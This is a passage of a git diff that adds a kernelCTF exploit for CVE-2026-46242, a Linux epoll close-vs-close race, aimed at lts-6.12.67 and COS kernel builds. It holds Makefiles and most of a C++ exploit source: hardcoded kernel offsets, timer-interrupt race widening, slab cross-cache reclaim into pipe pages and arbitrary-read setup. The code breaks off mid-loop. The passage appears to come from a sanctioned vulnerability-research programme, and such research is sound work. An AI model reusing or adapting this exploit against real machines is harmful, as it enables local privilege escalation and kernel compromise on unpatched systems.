+ +run: $(TARGET) + ./$(TARGET) + +clean: + rm -f $(TARGET) exploit_debug + +distclean: clean + rm -rf kernel-research target_db.kxdb diff --git a/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/exploit/cos-121-18867.294.100/exploit b/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/exploit/cos-121-18867.294.100/exploit new file mode 100755 index 000000000..b041d70db Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/exploit/cos-121-18867.294.100/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/exploit/cos-121-18867.294.100/exploit.cpp b/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/exploit/cos-121-18867.294.100/exploit.cpp new file mode 120000 index 000000000..ebfe1d79a --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/exploit/cos-121-18867.294.100/exploit.cpp @@ -0,0 +1 @@ +../lts-6.12.67/exploit.cpp \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/exploit/lts-6.12.67/Makefile b/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/exploit/lts-6.12.67/Makefile new file mode 100644 index 000000000..406d0d9d2 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/exploit/lts-6.12.67/Makefile @@ -0,0 +1,58 @@ +# +# kernelCTF lts-6.12.67 exploit build. +# +# libxdk is built from the latest google/kernel-research source (cloned on +# first build) and statically linked. The latest tree provides +# leak_kaslr_base() / Target::GetKernelPageCount() etc. that the pinned v0.1 +# release tarball lacks. target_db.kxdb (the auto-detection database) is +# fetched separately and embedded via INCBIN at compile time. +# +# Build prerequisites (host): g++, cmake, make, wget, git, libkeyutils-dev. +# + +KERNELXDK_DIR := kernel-research/libxdk + +CXX ?= g++ +# Target select: the same exploit.cpp is shared (symlinked) across release +# dirs; each Makefile picks its target here. cos dir will set -DTARGET_COS_6_6. +TARGET_DEF ?= -DTARGET_LTS_6_12_67 +CPPFLAGS ?= -isystem $(KERNELXDK_DIR)/include +CXXFLAGS ?= -std=gnu++17 -static -O2 -Wall +LDFLAGS ?= -static -L$(KERNELXDK_DIR)/lib +LDLIBS ?= -lkernelXDK -lpthread + +TARGET := exploit +SRC := exploit.cpp + +.PHONY: all prerequisites run clean distclean + +all: $(TARGET) + +prerequisites: target_db.kxdb $(KERNELXDK_DIR)/lib/libkernelXDK.a + +$(TARGET): prerequisites $(SRC) + $(CXX) $(CPPFLAGS) $(TARGET_DEF) $(CXXFLAGS) $(SRC) -o $@ $(LDFLAGS) $(LDLIBS) + +exploit_debug: CXXFLAGS += -g +exploit_debug: prerequisites $(SRC) + $(CXX) $(CPPFLAGS) $(TARGET_DEF) $(CXXFLAGS) $(SRC) -o $@ $(LDFLAGS) $(LDLIBS) + +target_db.kxdb: + wget -q -O $@ https://storage.googleapis.com/kernelxdk/db/kernelctf.kxdb + +kernel-research: + git clone --depth 1 https://github.com/google/kernel-research.git $@ + +# Build only the static library target (not the test suite, which pulls extra +# deps); the CMake POST_BUILD step installs it to libxdk/lib/libkernelXDK.a. +$(KERNELXDK_DIR)/lib/libkernelXDK.a: | kernel-research + cd $(KERNELXDK_DIR) && cmake -B build && cmake --build build --target kernelXDK -j$$(nproc) + +run: $(TARGET) + ./$(TARGET) + +clean: + rm -f $(TARGET) exploit_debug + +distclean: clean + rm -rf kernel-research target_db.kxdb diff --git a/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/exploit/lts-6.12.67/exploit b/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/exploit/lts-6.12.67/exploit new file mode 100755 index 000000000..e0f5d5b7e Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/exploit/lts-6.12.67/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/exploit/lts-6.12.67/exploit.cpp b/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/exploit/lts-6.12.67/exploit.cpp new file mode 100644 index 000000000..0d8a28792 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/exploit/lts-6.12.67/exploit.cpp @@ -0,0 +1,1186 @@ +/* + * CVE-2026-46242 (Bad Epoll) kernelCTF exploit (exp448). + * Target: lts-6.12.67 and cos-121-18867.294.100. + */ + +#ifndef _GNU_SOURCE +#define _GNU_SOURCE +#include +#endif +extern "C" { +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +} + +#include + +#include +#include + +INCBIN(target_db, "target_db.kxdb"); +/* INCBIN's inline asm ends in the .bss section and never restores .text (see + * xdk/util/incbin.h). Restore .text here so compiler-emitted code lands in the + * executable section. */ +__asm__(".text\n"); + +typedef unsigned int u32; +typedef unsigned long long u64; + +#define ARRAY_LEN(x) (sizeof(x) / sizeof((x)[0])) +#define PAGE_SIZE 0x1000 +// any value works; 0 by convention +#define NOT_USED (0) + +// comm we set on ourselves, found later by walking init_task's children. +#define EXP_COMM "exploit" + +#define SYSCHK(x) ({ \ + auto __res = (x); \ + if (__res == (decltype(__res))-1) \ + err(1, "SYSCHK(" #x ")"); \ + __res; \ +}) + +#ifdef DEBUG +#define DBG(...) printf(__VA_ARGS__) +#else +#define DBG(...) ((void)0) +#endif + +/* ===================================================================== + * Tunables + * ===================================================================== */ + +/* SLUB geometry for the cross-cache. The cross-cache victim is the dangling + * struct file, which is allocated from the filp cache; the filp object is + * FILE_SIZE bytes (192 on lts, 256 on cos) and the parameters below are that + * cache's. The freed eventpoll is a separate kmalloc-192 object on both targets, + * reclaimed same-cache, and unrelated to this geometry. */ + +/* Per-object-size SLUB parameters, selected per target by FILE_SIZE. */ +#define SLAB_CPU_PARTIAL_192 12 +#define SLAB_OBJ_PER_SLAB_192 21 +#define SLAB_CPU_PARTIAL_256 7 +#define SLAB_OBJ_PER_SLAB_256 16 + +/* Glue macros so an object size selects its constants, e.g. + * SLAB_CPU_PARTIAL(192) -> SLAB_CPU_PARTIAL_192. The two-level indirection lets + * FILE_SIZE (a macro) be passed as the argument and expand before the ## paste. */ +#define _SLAB_CPU_PARTIAL(sz) SLAB_CPU_PARTIAL_##sz +#define _SLAB_OBJ_PER_SLAB(sz) SLAB_OBJ_PER_SLAB_##sz + +#define SLAB_CPU_PARTIAL(sz) _SLAB_CPU_PARTIAL(sz) +#define SLAB_OBJ_PER_SLAB(sz) _SLAB_OBJ_PER_SLAB(sz) + +/* Objects that pre-fill the per-CPU partial list up to cpu_partial. */ +#define SLAB_NUM_POP_CPU_OBJS(sz) (SLAB_CPU_PARTIAL(sz) * SLAB_OBJ_PER_SLAB(sz)) +/* Objects enclosing the victim, to fill two full slabs. */ +#define SLAB_NUM_ENCLOSING_OBJS(sz) (2 * SLAB_OBJ_PER_SLAB(sz)) + +/* Child processes attach RACE_WAITER_EPFDS * RACE_WAITER_DUPS epoll waiters to + * the shared timerfd, so its later wakeup walks a huge queue and widens the race + * window. */ +#define RACE_ENQUEUE_FORKS 0x4 +#define RACE_WAITER_DUPS 15 +#define RACE_WAITER_EPFDS 50 + +/* In racer thread, close() taking more than this many TSC cycles means the + * timerfd IRQ fired inside close() */ +#define RACE_CLOSE_INTR_THRESHOLD 1500000ULL + +/* How far ahead of time_interrupt_fire the racer launches close(). The ideal + * value is CPU-agnostic, so PHASE_STAT tests the [LO,HI] range at STEP + * granularity to find which ahead values land the timer IRQ inside close(). */ +#define RACE_AHEAD_LO 250 /* ns: smallest ahead value tested */ +#define RACE_AHEAD_HI 4000 /* ns: largest ahead value tested */ +#define RACE_AHEAD_STEP 250 /* ns: step between ahead values */ +#define RACE_AHEAD_ARRAY_LEN (((RACE_AHEAD_HI - RACE_AHEAD_LO) / RACE_AHEAD_STEP) + 1) + +/* Adaptive launch-ahead timing search: PHASE_STAT iterates the [LO,HI] range + * RACE_AHEAD_STAT_ITERS times to measure which ahead values get the IRQ inside + * close(), locks the best RACE_AHEAD_EXEC_BUCKETS-wide range, uses it for + * RACE_AHEAD_EXEC_ITERS rounds in PHASE_EXEC, then returns to PHASE_STAT. */ +#define RACE_AHEAD_STAT_ITERS 10 +#define RACE_AHEAD_EXEC_ITERS 3000 +#define RACE_AHEAD_EXEC_BUCKETS 4 + +/* How many times the main thread spins dup()+close() to keep f_count's cache + * line bouncing */ +#define RACE_DUP_CLOSE_ITERS 250 + +/* Per the kernelctf rules, retry the race for at most 5 minutes. */ +#define EXPLOIT_DURATION_SEC 300 +#define EXPLOIT_DURATION_NS ((u64)EXPLOIT_DURATION_SEC * 1000000000ULL) + +/* Number of pipe data pages written into the cross-cache pipe to reclaim the + * freed slab page from the buddy allocator. 256 is the maximum number of pages + * a user may resize a pipe to. */ +#define CROSS_CACHE_NUM_RECLAIM_PAGE 256 + +/* How long to wait for the freed filp slab page to drain to the buddy allocator + * before reclaiming it as pipe pages (per-target value below). */ +#if defined(TARGET_COS) +#define CROSS_CACHE_DRAIN_TOTAL_US 1000000 /* cos: ~1s spread (1000000/256 ~= 3.9ms/page) */ +#else +#define CROSS_CACHE_DRAIN_US 10000 /* lts: single 10ms wait, then bulk reclaim */ +#endif + +/* ===================================================================== + * Target-specific constants: kernel symbols, the struct field offsets that + * differ between targets, and the ROP/JOP stack-pivot gadgets. The same + * exploit.cpp is shared across targets; the target is selected at build + * time via -DTARGET_* (see Makefile). Everything else resolves through libxdk + * (GetSymbolOffset / GetFieldOffset). + * ===================================================================== */ +#if defined(TARGET_COS) + +/* kernel symbols (kernel-text relative) */ +#define INIT_TASK 0x2e0c940 +#define VMEMMAP_BASE 0x23f17a8 +#define PAGE_OFFSET_BASE 0x23f17b8 + +/* struct file (filp cache) + neighbours, cos layout */ +#define FILE_SIZE 256 +#define FILE_OFFS_F_COUNT 24 +#define FILE_OFFS_F_OP 176 +#define FILE_OFFS_PRIVATE_DATA 200 +#define FILE_OFFS_F_INODE 168 +#define FILE_OPERATIONS_OFFS_POLL 64 +#define INODE_OFFS_I_SB 56 +#define INODE_OFFS_I_INO 80 +#define TASK_STRUCT_OFFS_CHILDREN_NEXT 1456 +#define TASK_STRUCT_OFFS_CHILDREN_PREV 1464 +#define TASK_STRUCT_OFFS_SIBLING_NEXT 1472 +#define TASK_STRUCT_OFFS_SIBLING_PREV 1480 + +#else /* TARGET_LTS (default) */ + +#define INIT_TASK 0x340d0c0 +#define VMEMMAP_BASE 0x292d788 +#define PAGE_OFFSET_BASE 0x292d798 + +#define FILE_SIZE 192 +#define FILE_OFFS_F_COUNT 0 +#define FILE_OFFS_F_OP 16 +#define FILE_OFFS_PRIVATE_DATA 32 +#define FILE_OFFS_F_INODE 40 +#define FILE_OPERATIONS_OFFS_POLL 72 +#define INODE_OFFS_I_SB 40 +#define INODE_OFFS_I_INO 64 +#define TASK_STRUCT_OFFS_CHILDREN_NEXT 1472 +#define TASK_STRUCT_OFFS_CHILDREN_PREV 1480 +#define TASK_STRUCT_OFFS_SIBLING_NEXT 1488 +#define TASK_STRUCT_OFFS_SIBLING_PREV 1496 + +#endif /* target select */ + +/* struct field offsets identical across both targets. */ +#define TASK_STRUCT_OFFS_COMM 1928 +#define TASK_STRUCT_OFFS_SAS_SS_SP 2088 +#define TASK_STRUCT_OFFS_FILES 2000 +#define FILES_STRUCT_OFFS_FDT 32 +#define FDTABLE_OFFS_FD 8 +#define PIPE_INODE_INFO_OFFS_BUFS 152 +#define PIPE_BUFFER_OFFS_PAGE 0 + +/* ===================================================================== + * Offsets resolved once from the libxdk Target, then cached in globals for the rest of the exploit. + * ===================================================================== */ +struct Offsets { + /* symbols (kernel-base relative) */ + u64 init_task, vmemmap_base, page_offset_base; + /* struct task_struct */ + u64 ts_comm, ts_children_next, ts_children_prev; + u64 ts_sibling_next, ts_sibling_prev, ts_ss_sp, ts_files; + /* struct inode */ + u64 inode_i_sb, inode_i_ino; + /* struct files_struct / fdtable */ + u64 files_fdt, fdtable_fd; + /* struct file (file_size == sizeof(struct file) == fake-file tiling stride) */ + u64 file_size; + u64 file_f_count, file_f_op, file_private_data, file_f_inode; + /* struct file_operations */ + u64 fop_poll; + /* struct pipe_inode_info / pipe_buffer */ + u64 pii_bufs, pb_page; +}; +static Offsets offsets; + +/* Run-time leaked kernel addresses (set once, then read-only). */ +static u64 kernel_base; /* kernel text base (prefetch leak) */ +static u64 vmemmap_base; /* read via AAR once we have a task */ +static u64 page_offset_base; /* read via AAR once we have a task */ + +/* State shared with the racer thread. */ +static int timerfd_wakeup; /* timerfd wakeup source */ +static int ep_race_waiter; /* fd the racer thread close()s */ +static volatile u64 race_ready_main; /* main -> racer: ready */ +static volatile u64 race_ready_thread;/* racer -> main: ready */ +static volatile u64 race_done; /* racer -> main: close() done */ +static int log_launch_ahead; /* racer -> main: ahead value it used (logging only) */ +static volatile u64 time_false_sharing; /* main -> racer: false-sharing duration */ +static u64 time_exploit_deadline; + +/* Used by the leak helpers. */ +static int ep_race_oracle; /* epfd for the race-won oracle */ +static int cross_cache_pipefd[2];/* pipe whose pages overlay the victim */ +static int fdinfo_fd; /* /proc/self/fdinfo/ */ + +/* Constant template for epoll_ctl ADD/DEL. */ +static struct epoll_event ev = { .events = EPOLLIN, .data = {.u64 = 0} }; + + +/* Return the hex value following the last occurrence of `needle`. */ +static unsigned long parse_hex_after_needle(const char *str, const char *needle) +{ + const char *p = str, *last = NULL; + size_t needle_len = strlen(needle); + while ((p = strstr(p, needle)) != NULL) { + last = p; + p++; + } + return last ? strtoul(last + needle_len, NULL, 16) : 0; +} + +static inline int rand_range(int lo, int hi) { return lo + rand() % (hi - lo + 1); } + +inline __attribute__((always_inline)) uint64_t rdtsc_begin() { + uint64_t a, d; + asm volatile("mfence\n\t" + "rdtscp\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "xor %%rax, %%rax\n\t" + "lfence\n\t" + : "=r"(d), "=r"(a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d << 32) | a; + return a; +} + +inline __attribute__((always_inline)) uint64_t rdtsc_end() { + uint64_t a, d; + asm volatile("xor %%rax, %%rax\n\t" + "lfence\n\t" + "rdtscp\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "mfence\n\t" + : "=r"(d), "=r"(a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d << 32) | a; + return a; +} + +static void epoll_ctl_add(int epfd, int target_fd, u32 events) +{ + struct epoll_event event = {}; + event.events = events; + event.data.fd = target_fd; + epoll_ctl(epfd, EPOLL_CTL_ADD, target_fd, &event); +} + +/* ===================================================================== + * libxdk target setup + * ===================================================================== */ + +/* Register the symbols/structs the stock kxdb does not expose, + * so the rest of the exploit can use GetSymbolOffset/GetFieldOffset uniformly. + */ +static void setup_augment_target(Target &target) +{ + target.AddSymbol("init_task", INIT_TASK); + target.AddSymbol("vmemmap_base", VMEMMAP_BASE); + target.AddSymbol("page_offset_base", PAGE_OFFSET_BASE); + + target.AddStruct("task_struct", 0, { + {"comm", TASK_STRUCT_OFFS_COMM, 16}, + {"children_next", TASK_STRUCT_OFFS_CHILDREN_NEXT, 8}, /* &task->children (list_head.next) */ + {"children_prev", TASK_STRUCT_OFFS_CHILDREN_PREV, 8}, + {"sibling_next", TASK_STRUCT_OFFS_SIBLING_NEXT, 8}, /* &task->sibling (list_head.next) */ + {"sibling_prev", TASK_STRUCT_OFFS_SIBLING_PREV, 8}, + {"sas_ss_sp", TASK_STRUCT_OFFS_SAS_SS_SP, 8}, /* sigaltstack pointer (AAR cursor) */ + {"files", TASK_STRUCT_OFFS_FILES, 8}, + }); + target.AddStruct("inode", 0, { + {"i_sb", INODE_OFFS_I_SB, 8}, + {"i_ino", INODE_OFFS_I_INO, 8}, + }); + target.AddStruct("files_struct", 0, {{"fdt", FILES_STRUCT_OFFS_FDT, 8}}); + target.AddStruct("fdtable", 0, {{"fd", FDTABLE_OFFS_FD, 8}}); + /* FILE_SIZE == sizeof(struct file) == the filp cache object size; + * GetStructSize("file") returns it as the fake-file tiling stride. */ + target.AddStruct("file", FILE_SIZE, { + {"f_count", FILE_OFFS_F_COUNT, 8}, + {"f_op", FILE_OFFS_F_OP, 8}, + {"private_data", FILE_OFFS_PRIVATE_DATA, 8}, + {"f_inode", FILE_OFFS_F_INODE, 8}, + }); + /* poll is the f_op slot epoll_wait()'s vfs_poll() calls. */ + target.AddStruct("file_operations", 0, {{"poll", FILE_OPERATIONS_OFFS_POLL, 8}}); + target.AddStruct("pipe_inode_info", 0, {{"bufs", PIPE_INODE_INFO_OFFS_BUFS, 8}}); + /* "_pb" avoids colliding with the kxdb's own pipe_buffer entry. */ + target.AddStruct("_pb", 0, {{"page", PIPE_BUFFER_OFFS_PAGE, 8}}); +} + +static void cache_offsets(Target &target) +{ + offsets.init_task = target.GetSymbolOffset("init_task"); + offsets.vmemmap_base = target.GetSymbolOffset("vmemmap_base"); + offsets.page_offset_base = target.GetSymbolOffset("page_offset_base"); + + offsets.ts_comm = target.GetFieldOffset("task_struct", "comm"); + offsets.ts_children_next = target.GetFieldOffset("task_struct", "children_next"); + offsets.ts_children_prev = target.GetFieldOffset("task_struct", "children_prev"); + offsets.ts_sibling_next = target.GetFieldOffset("task_struct", "sibling_next"); + offsets.ts_sibling_prev = target.GetFieldOffset("task_struct", "sibling_prev"); + offsets.ts_ss_sp = target.GetFieldOffset("task_struct", "sas_ss_sp"); + offsets.ts_files = target.GetFieldOffset("task_struct", "files"); + + offsets.inode_i_sb = target.GetFieldOffset("inode", "i_sb"); + offsets.inode_i_ino = target.GetFieldOffset("inode", "i_ino"); + offsets.files_fdt = target.GetFieldOffset("files_struct", "fdt"); + offsets.fdtable_fd = target.GetFieldOffset("fdtable", "fd"); + + offsets.file_f_count = target.GetFieldOffset("file", "f_count"); + offsets.file_f_op = target.GetFieldOffset("file", "f_op"); + offsets.file_private_data = target.GetFieldOffset("file", "private_data"); + offsets.file_f_inode = target.GetFieldOffset("file", "f_inode"); + offsets.file_size = target.GetStructSize("file"); + offsets.fop_poll = target.GetFieldOffset("file_operations", "poll"); + + offsets.pii_bufs = target.GetFieldOffset("pipe_inode_info", "bufs"); + offsets.pb_page = target.GetFieldOffset("_pb", "page"); +} + +/* ===================================================================== + * Race: trigger the close-vs-close UAF and reclaim the freed eventpoll + * ===================================================================== */ + +/* Fork RACE_ENQUEUE_FORKS children, each attaching RACE_WAITER_EPFDS * + * RACE_WAITER_DUPS epoll waiters to the shared timerfd, then SIGSTOP to keep + * them queued. When the timerfd later expires inside the race window, walking + * this huge waiter queue freezes the racer's close() and widens the window. */ +static void race_enqueue_waiters(int timerfd) +{ + int sync[2]; + SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, sync)); + char ready = 'A'; + + for (int k = 0; k < RACE_ENQUEUE_FORKS; k++) { + if (fork() == 0) { + int timefds[RACE_WAITER_DUPS]; + int epfds[RACE_WAITER_EPFDS]; + + for (int i = 0; i < RACE_WAITER_DUPS; i++) + timefds[i] = dup(timerfd); + for (int i = 0; i < RACE_WAITER_EPFDS; i++) + epfds[i] = epoll_create(1); + for (int i = 0; i < RACE_WAITER_EPFDS; i++) + for (int j = 0; j < RACE_WAITER_DUPS; j++) + epoll_ctl_add(epfds[i], timefds[j], 0); + + write(sync[1], &ready, 1); + raise(SIGSTOP); + } + read(sync[0], &ready, 1); + } + close(sync[0]); + close(sync[1]); +} + +/* Racer thread, pinned to CPU 0. Set the timerfd to expire inside a tight race + * window, then close(ep_race_waiter) so __ep_remove() runs concurrently with + * the main thread's close(ep_target) and reclaim. */ +/* CLOCK_MONOTONIC now in nanoseconds (same clock the timerfd uses). */ +static inline u64 mono_ns(void) +{ + struct timespec t; + clock_gettime(CLOCK_MONOTONIC, &t); + return (u64)t.tv_sec * 1000000000ull + (u64)t.tv_nsec; +} + +static void *race_close_thread(void *arg) +{ + (void)arg; + pin_cpu(0); + + prctl(PR_SET_NAME, "slowme"); + + /* The racer arms an absolute-time timer at time_interrupt_fire, busy-waits to + * (time_interrupt_fire - time_racer_launch_ahead), then close()s, so the IRQ + * lands within close(), and hopefully within the race window. PHASE_STAT + * iterates [LO,HI] to find the ahead values that get close() interrupted; + * PHASE_EXEC uses random ahead values from the locked best range. */ + enum { PHASE_STAT = 0, PHASE_EXEC = 1 }; + int intr_count[RACE_AHEAD_ARRAY_LEN] = {0}; + int phase = PHASE_STAT; + int ahead_idx = 0, stat_iters_done = 0, exec_done = 0; + int best_lo = RACE_AHEAD_LO, best_hi = RACE_AHEAD_HI; + + printf("[*] racer: false-sharing window=%lu ns -> fire %lu ns ahead\n", + (unsigned long)time_false_sharing, (unsigned long)(time_false_sharing / 2)); + + for (;;) { + while (!race_ready_main) + sched_yield(); + race_ready_main = 0; + race_ready_thread = 1; + + /* The ahead value for this round: + * - PHASE_STAT walks the [LO,HI] array bucket by bucket + * - PHASE_EXEC selects a random value from the locked best range. */ + int time_racer_launch_ahead = (phase == PHASE_STAT) + ? RACE_AHEAD_LO + ahead_idx * RACE_AHEAD_STEP + : rand_range(best_lo, best_hi); + + /* We want the racer's close() to overlap main's false-sharing window, so + * we fire the timer at the middle of that window + * (time_interrupt_fire = mono_ns() + time_false_sharing/2) and launch + * close() time_racer_launch_ahead before it. Iterating over different + * ahead values reveals which ones land the timer IRQ inside close(), and + * the policy adaptively locks onto the best range. */ + u64 time_interrupt_fire = mono_ns() + time_false_sharing / 2; + struct itimerspec its = {}; + its.it_value.tv_sec = (time_t)(time_interrupt_fire / 1000000000ull); + its.it_value.tv_nsec = (long)(time_interrupt_fire % 1000000000ull); + SYSCHK(timerfd_settime(timerfd_wakeup, TFD_TIMER_ABSTIME, &its, NULL)); + + // Busy-wait to (fire - launch), then close() + u64 time_close_start = time_interrupt_fire - (u64)time_racer_launch_ahead; + while (mono_ns() < time_close_start) + ; + + u64 begin = rdtsc_begin(); + close(ep_race_waiter); // [*] race pair + u64 end = rdtsc_end(); + u64 cyc = end - begin; + + DBG("[%s] racer[%s]: launch=%d, close took %llu cycles\n", + cyc > RACE_CLOSE_INTR_THRESHOLD ? "INT" : "*", + phase == PHASE_STAT ? "stat" : "exec", time_racer_launch_ahead, + (unsigned long long)cyc); + log_launch_ahead = time_racer_launch_ahead; + race_done = 1; + + /* Adaptive launch-ahead timing search: a close() longer than the threshold means + * the IRQ landed inside it (interrupted), the outcome we want. */ + bool interrupted = cyc > RACE_CLOSE_INTR_THRESHOLD; + switch (phase) { + case PHASE_STAT: + if (interrupted) + intr_count[ahead_idx]++; + if (++ahead_idx >= RACE_AHEAD_ARRAY_LEN) { /* finished one pass over [LO,HI] */ + ahead_idx = 0; + if (++stat_iters_done >= RACE_AHEAD_STAT_ITERS) { + // Lock the contiguous block of buckets with the most interrupts as the best range. + long best_sum = -1; + int best_start = 0; + for (int s = 0; s + RACE_AHEAD_EXEC_BUCKETS <= RACE_AHEAD_ARRAY_LEN; s++) { + long sum = 0; + for (int k = 0; k < RACE_AHEAD_EXEC_BUCKETS; k++) + sum += intr_count[s + k]; + if (sum > best_sum) { best_sum = sum; best_start = s; } + } + if (best_sum <= 0) { // no interrupts in any bucket -> fall back to the full range + best_lo = RACE_AHEAD_LO; + best_hi = RACE_AHEAD_HI; + } else { + best_lo = RACE_AHEAD_LO + best_start * RACE_AHEAD_STEP; + best_hi = RACE_AHEAD_LO + (best_start + RACE_AHEAD_EXEC_BUCKETS - 1) * RACE_AHEAD_STEP; + } + printf("[+] racer: stat done (%d iters) -> locked best range [%d,%d] (interrupts=%ld)\n", + RACE_AHEAD_STAT_ITERS, best_lo, best_hi, best_sum); + phase = PHASE_EXEC; + } + } + break; + case PHASE_EXEC: + /* Use the locked best range for RACE_AHEAD_EXEC_ITERS rounds, then + * return to PHASE_STAT to re-calibrate. */ + if (++exec_done >= RACE_AHEAD_EXEC_ITERS) { + exec_done = 0; + ahead_idx = 0; + stat_iters_done = 0; + for (int b = 0; b < RACE_AHEAD_ARRAY_LEN; b++) + intr_count[b] = 0; + phase = PHASE_STAT; + } + break; + } + } + return NULL; +} + +/* Race-win oracle. Adding the depth-3 ep_race_oracle chain to `ep` + * (= ep_uaf_target) succeeds (returns 0) only when ep's refs list is already + * empty, which happens only if the UAF write zeroed epoll_uaf_target->refs.first + * (race won). On a miss ep_uaf_waiter's epitem is still linked there, so + * ep_loop_check() exceeds EP_MAX_NESTS and the ADD returns -ELOOP. */ +static int race_win_oracle(int ep) +{ + if (epoll_ctl(ep, EPOLL_CTL_ADD, ep_race_oracle, &ev) == 0) { + SYSCHK(epoll_ctl(ep, EPOLL_CTL_DEL, ep_race_oracle, NULL)); + return 1; + } + return 0; +} + +/* Build the shared timerfd (with its async waiter queue) and the depth-3 nested + * epoll chain that race_win_oracle() uses. The racer thread is spawned later, in + * vuln_trigger_and_cross_cache(). */ +static void race_setup(void) +{ + timerfd_wakeup = SYSCHK(timerfd_create(CLOCK_MONOTONIC, 0)); + race_enqueue_waiters(timerfd_wakeup); + + /* Pre-build a depth-3 (= EP_MAX_NESTS - 1) nested epoll chain used as an + * oracle to determine whether the race condition occurred + * ([3] watches [2] watches [1] watches [0]); see race_win_oracle(). */ + int ep_race_fds[4]; + for (size_t i = 0; i < ARRAY_LEN(ep_race_fds); i++) + ep_race_fds[i] = SYSCHK(epoll_create1(0)); + SYSCHK(epoll_ctl(ep_race_fds[1], EPOLL_CTL_ADD, ep_race_fds[0], &ev)); + SYSCHK(epoll_ctl(ep_race_fds[2], EPOLL_CTL_ADD, ep_race_fds[1], &ev)); + SYSCHK(epoll_ctl(ep_race_fds[3], EPOLL_CTL_ADD, ep_race_fds[2], &ev)); + ep_race_oracle = ep_race_fds[3]; + + /* Sample time_false_sharing with one warm-up burst so the racer's first real + * race already has a measured window to fire half-ahead of. */ + u64 current_time = mono_ns(); + for (int j = 0; j < RACE_DUP_CLOSE_ITERS; j++) + close(dup(ep_race_oracle)); + time_false_sharing = mono_ns() - current_time; +} + +static u64 leak_constrained_aar_8b(u64 addr); /* fwd decl: cross-cache verify uses it */ + +/* @step(name="Triggering the Race Condition") + * + * Loop the close-vs-close race until won, reclaim the freed eventpoll, + * cross-cache its slab page to pipe_buffer, then verify (init_task->comm reads + * "swapper") and retry on a miss. Returns ep_uaf_waiter (a dangling waiter) with + * fdinfo_fd open. */ +static int vuln_trigger_and_cross_cache(void) +{ + if (pipe(cross_cache_pipefd) == -1) + err(1, "pipe"); + /* Grow the pipe to hold all NUM_RECLAIM reclaim pages: a default pipe holds + * only 16, so the reclaim write loop would block (deadlock) past page 16. */ + if (fcntl(cross_cache_pipefd[1], F_SETPIPE_SZ, + CROSS_CACHE_NUM_RECLAIM_PAGE * PAGE_SIZE) < 0) + err(1, "F_SETPIPE_SZ"); + if (fcntl(cross_cache_pipefd[1], F_GETPIPE_SZ) < + CROSS_CACHE_NUM_RECLAIM_PAGE * PAGE_SIZE) + errx(1, "pipe capacity < %d pages; raise /proc/sys/fs/pipe-max-size", + CROSS_CACHE_NUM_RECLAIM_PAGE); + + + pthread_t racer_thread; + if (pthread_create(&racer_thread, NULL, race_close_thread, NULL)) + errx(1, "pthread_create"); + + int *cross_cache_cpu_partial_objs = (int *)malloc(sizeof(int) * SLAB_NUM_POP_CPU_OBJS(FILE_SIZE)); + int *cross_cache_enclosing_objs = (int *)malloc(sizeof(int) * SLAB_NUM_ENCLOSING_OBJS(FILE_SIZE)); + char cross_cache_reclaim_buf[PAGE_SIZE] = {0}; /* one page, written NUM_RECLAIM times */ + + pin_cpu(1); + + int ep_uaf_waiter, ep_uaf_target, i; + int race_retries = 0, cross_cache_retries = 0; + printf("[*] racing close-vs-close...\n"); + + for (;;) { /* cross_cache_retry */ + cross_cache_retries++; + ep_uaf_waiter = SYSCHK(epoll_create1(0)); + for (i = 0; i < SLAB_NUM_POP_CPU_OBJS(FILE_SIZE); i++) + cross_cache_cpu_partial_objs[i] = open("/dev/null", O_RDONLY); + + for (;;) { /* race_retry */ + race_retries++; + sched_yield(); + + /* The two fds closed concurrently: ep_race_waiter watches + * ep_race_target. cpu1 (main) closes ep_race_target; cpu0 + * (racer) closes ep_race_waiter. */ + ep_race_waiter = SYSCHK(epoll_create1(0)); + int ep_race_target = SYSCHK(epoll_create1(0)); + SYSCHK(epoll_ctl(ep_race_waiter, EPOLL_CTL_ADD, ep_race_target, &ev)); + + for (i = 0; i < SLAB_OBJ_PER_SLAB(FILE_SIZE) - 1; i++) + cross_cache_enclosing_objs[i] = open("/dev/null", O_RDONLY); + + race_ready_main = 1; + while (!race_ready_thread) + sched_yield(); + race_ready_thread = 0; + + /* Widen the window by false-sharing: dup()+close() bumps + * f_count, which shares a cache line with f_op, so the racer's + * is_file_epoll(file) read of f_op stalls on a cache miss. */ + u64 current_time = mono_ns(); + for (int j = 0; j < RACE_DUP_CLOSE_ITERS; j++) + close(dup(ep_race_target)); + time_false_sharing = mono_ns() - current_time; + DBG("[*] dup+close delay: %lu ns\n", (unsigned long)time_false_sharing); + + close(ep_race_target); // [*] race pair + /* @step(name="Escalating to a struct file UAF") + * If timerfd interrupt landed in the window, ep_race_target is freed but + * the UAF write (hlist_del_rcu -> refs=0) hasn't run yet. Reclaim + * the freed eventpoll as ep_uaf_target and chain ep_uaf_waiter + * onto it (ep_uaf_target->refs <-> ep_uaf_waiter's epitem.fllink) + * before the write. On a win the pending refs=0 then leaves a + * dangling epi.ffd.file in ep_uaf_waiter, a state mismatch we + * exploit. */ + ep_uaf_target = SYSCHK(epoll_create1(0)); + SYSCHK(epoll_ctl(ep_uaf_waiter, EPOLL_CTL_ADD, ep_uaf_target, &ev)); + while (!race_done) + sched_yield(); + race_done = 0; + + cross_cache_enclosing_objs[i++] = ep_uaf_target; + for (; i < 